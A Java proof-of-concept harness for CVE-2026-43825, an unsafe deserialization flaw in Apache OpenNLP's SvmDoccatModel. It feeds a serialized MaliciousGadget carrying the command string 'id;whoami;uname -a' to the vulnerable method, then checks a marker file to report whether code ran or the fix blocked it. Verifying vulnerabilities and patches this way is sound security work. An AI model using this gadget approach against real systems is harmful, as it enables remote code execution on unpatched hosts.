import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.InvalidClassException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

/**
 * Proof-of-concept for CVE-2026-43825: Unsafe deserialization in
 * Apache OpenNLP SvmDoccatModel.deserialize(InputStream).
 *
 * <p>This harness:
 * <ol>
 *   <li>Serializes a {@link MaliciousGadget} — a class NOT in the
 *       SvmDoccatModel serialization graph — into a byte array.</li>
 *   <li>Feeds those bytes to
 *       {@code SvmDoccatModel.deserialize(InputStream)}.</li>
 *   <li>Checks whether the gadget's {@code readObject()} code executed
 *       (marker file present) or was blocked.</li>
 * </ol>
 *
 * <p>Expected behavior:
 * <ul>
 *   <li><b>Vulnerable version</b> (before 3.0.0-M4):
 *       {@code ObjectInputStream.readObject()} deserializes the
 *       MaliciousGadget fully — its {@code readObject()} runs and writes
 *       a marker file. The subsequent cast to SvmDoccatModel throws
 *       ClassCastException, but the code has ALREADY executed.</li>
 *   <li><b>Fixed version</b> (3.0.0-M4):
 *       The {@code ObjectInputFilter} rejects MaliciousGadget because it
 *       is not on the class allow-list. An {@code InvalidClassException}
 *       is thrown BEFORE readObject() completes. No code executes.</li>
 * </ul>
 */
public class Poc {

    public static void main(String[] args) throws Exception {
        String markerPath = System.getProperty("gadget.marker.path",
                "/tmp/opennlp_poc_marker.txt");
        String label = System.getProperty("poc.label", "unknown");

        // Clean up any prior marker
        Path marker = Paths.get(markerPath);
        Files.deleteIfExists(marker);

        System.out.println("=== CVE-2026-43825 PoC ===");
        System.out.println("Label: " + label);
        System.out.println("Marker path: " + marker);
        System.out.println();

        // Step 1: Serialize a MaliciousGadget (simulated gadget chain payload)
        byte[] payload;
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            MaliciousGadget gadget = new MaliciousGadget("id;whoami;uname -a");
            oos.writeObject(gadget);
            payload = baos.toByteArray();
        }
        System.out.println("[*] Crafted payload size: " + payload.length + " bytes");
        System.out.println("[*] Payload contains MaliciousGadget (not in SvmDoccatModel graph)");
        System.out.println();

        // Step 2: Feed the payload to SvmDoccatModel.deserialize()
        System.out.println("[*] Calling SvmDoccatModel.deserialize() with malicious stream...");
        boolean codeExecuted = false;
        String exceptionType = "none";

        try {
            opennlp.tools.ml.libsvm.doccat.SvmDoccatModel.deserialize(
                    new ByteArrayInputStream(payload));
            System.out.println("[!] deserialize() returned without exception (unexpected)");
        } catch (InvalidClassException e) {
            exceptionType = "InvalidClassException";
            System.out.println("[+] FIXED version: ObjectInputFilter rejected foreign class");
            System.out.println("[+] Exception: " + e.getClass().getName()
                    + ": " + e.getMessage());
        } catch (ClassCastException e) {
            exceptionType = "ClassCastException";
            System.out.println("[!] VULNERABLE version: readObject() completed, cast failed AFTER");
            System.out.println("[!] Exception: " + e.getClass().getName()
                    + ": " + e.getMessage());
        } catch (Exception e) {
            exceptionType = e.getClass().getSimpleName();
            System.out.println("[*] Exception: " + e.getClass().getName()
                    + ": " + e.getMessage());
        }

        System.out.println();

        // Step 3: Check if the gadget's readObject() executed
        if (Files.exists(marker)) {
            codeExecuted = true;
            String content = Files.readString(marker);
            System.out.println("[!!!] CODE EXECUTION CONFIRMED: gadget readObject() ran!");
            System.out.println("[!!!] Marker file content:");
            System.out.println("      " + content.replace("\n", "\n      "));
        } else {
            System.out.println("[*] No marker file found — gadget code did NOT execute");
        }

        System.out.println();
        System.out.println("=== RESULT ===");
        System.out.println("Label: " + label);
        System.out.println("Exception type: " + exceptionType);
        System.out.println("Code executed during deserialization: " + codeExecuted);

        if (codeExecuted) {
            System.out.println("VERDICT: VULNERABLE — unsafe deserialization allows code execution");
            System.exit(10);  // 10 = vulnerable (code executed)
        } else if ("InvalidClassException".equals(exceptionType)) {
            System.out.println("VERDICT: FIXED — ObjectInputFilter blocked the foreign class");
            System.exit(20);  // 20 = fixed (filter blocked)
        } else {
            System.out.println("VERDICT: INCONCLUSIVE");
            System.exit(30);  // 30 = inconclusive
        }
    }
}
